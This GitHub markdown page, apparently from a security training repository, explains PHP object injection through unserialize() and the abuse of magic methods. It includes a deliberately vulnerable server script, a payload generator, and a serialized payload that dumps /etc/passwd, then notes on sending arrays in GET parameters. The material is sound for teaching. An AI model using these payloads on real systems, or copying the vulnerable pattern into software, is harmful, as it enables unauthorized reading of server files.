Skip to content

Latest commit

 

History

History
153 lines (121 loc) · 7.94 KB

php-specific.md

File metadata and controls

153 lines (121 loc) · 7.94 KB

PHP

PHP Object Injection (aka PHP Deserialization)

The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

In order to successfully exploit a PHP Object Injection vulnerability two conditions must be met:

  1. The application must have a class which implements a PHP magic method (such as __wakeup() or __destruct()) that can be used to carry out malicious attacks, or to start a "POP chain".
  2. All of the classes used during the attack must be declared when the vulnerable unserialize() is being called, otherwise class autoloading must be supported for such classes.

Notes

  • Warning! Keep in mind that access modifiers on fields (public, protected, private) result in different serialization. You must know and use the correct access modifiers in the class. Examples of different serializations when different access modifiers are used:
    • Public:
      O:6:"Logger":3:{s:7:"logFile";N;s:7:"initMsg";N;s:7:"exitMsg";N;}
    • Protected:
      O:6:"Logger":3:{s:10:"*logFile";N;s:10:"*initMsg";N;s:10:"*exitMsg";N;}
    • Private:
      O:6:"Logger":3:{s:15:"LoggerlogFile";N;s:15:"LoggerinitMsg";N;s:15:"LoggerexitMsg";N;}
  • For examples, see exploitation-training/network-exploitation/POCs/php-object-injection
  • Commonly used magic methods for this type of attack:
    • __destruct() Usually invoked at the end of the PHP module, but there are tricks to force the invocation earlier. From the manual.

      The destructor method will be called as soon as there are no other references to a particular object

    • __toString() From the manual

      The __toString() method allows a class to decide how it will react when it is treated like a string. For example, what echo $obj; will print

    • __wakeup() - From the manual:

      Conversely, unserialize() checks for the presence of a function with the magic name __wakeup(). If present, this function can reconstruct any resources that the object may have.

  • For payload generation using classes available in various frameworks, see the tool phpggc

    PHPGGC is a library of unserialize() payloads along with a tool to generate them. When encountering an unserialize() on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them.

  • Breakdown of PHP's serialization
  • Video by ippsec explaining PHP Deserialization and Object Injection

Demonstration - Reading arbitrary files

Assume that the following code is ran by a PHP webserver

class ReadFile {
  public function __tostring() {
    return file_get_contents($this->filename);
  }
}
class User {
  public $username; //forward declaration
  public $isAdmin;  //forward declaration
  public function PrintData() {
    if($this->isAdmin)
      echo $this->username . " is Admin\n";
    else
      echo $this->username . " is NOT Admin\n";
  }
}

if(array_key_exists('obj', $_POST)) {
  $obj = unserialize($_POST['obj']);
  $obj->PrintData();
} else {
  echo "No Post Data\n";
}

The attacker can generate an arbitrary User object, serialize it, and then finally send it through a POST request. The server performs no sanitization and gladly accepts it. Now, since PHP is not a statically typed language (i.e. types are associated with run-time values, not variables) all fields of a User instance can be of any type. Thus we can create a User whose username filed can be an instance of ReadFile class. When the PrintData() method is invoked, it will work just fine since ReadFile implements the magic method __tostring() and no error will be created in the echo lines.

So, an attacker can run the following PHP snippet to generate his payload

//payload-generator.php

class ReadFile {
  public function __construct($filename) { $this->filename = $filename; }
}
class User {
  public $username; //forward declaration
  public $isAdmin;  //forward declaration
}

//Lets dump the file: /etc/passwd
$obj = new User();
$obj->username = new ReadFile("/etc/passwd");
$obj->isAdmin = TRUE;
echo serialize($obj) . "\n";
nikos@ubuntu:/tmp$ php payload-generator.php
O:4:"User":2:{s:8:"username";O:8:"ReadFile":1:{s:8:"filename";s:11:"/etc/passwd";}s:7:"isAdmin";b:1;}

Sending the above generated user with a POST request will result in the dumping of the file /etc/passwd

Sending non-string data

Sending an array over GET request

In PHP, it is possible to send an array as a GET parameter, instead of a string value. Sloppy code without proper input sanitization might assume that input is always a string thus unexpected bugs can happen when an array is provided. For example, lets say that we want the server to receive the following array

$arr = array(
    0 => '0',
    1 => '1',
    2 => '2',
    'foo' => 'bar'
);

Then our GET request would be:
GET /test-prj/test.php?arr[]=0&arr[]=1&arr[]=2&arr[foo]=bar

So lets dump our server-created array $arr and the array present in the GET request with the following PHP snippet

if(array_key_exists("arr",$_REQUEST)) {
    var_dump($_REQUEST["arr"]);
}

$arr = array(
    0 => '0',
    1 => '1',
    2 => '2',
    'foo' => 'bar'
);
var_dump($arr);

Running the above code, we get the following output, which shows that both arrays are identical

/home/nikos/PhpstormProjects/test-prj/test.php:11:
array (size=4)
  0 => string '0' (length=1)
  1 => string '1' (length=1)
  2 => string '2' (length=1)
  'foo' => string 'bar' (length=3)

/home/nikos/PhpstormProjects/test-prj/test.php:20: array (size=4) 0 => string '0' (length=1) 1 => string '1' (length=1) 2 => string '2' (length=1) 'foo' => string 'bar' (length=3)

Notes:

  • Numbers within the square brackets are not treated as strings, i.e. ?arr[0]=foo will result in inserting the foo string at numeric index 0
  • Values are always treated as strings, i.e. ?arr[]=5 will result in inserting the string value 5, not a number
    • Same applies for ?arr[]=[] (Will insert the string value [])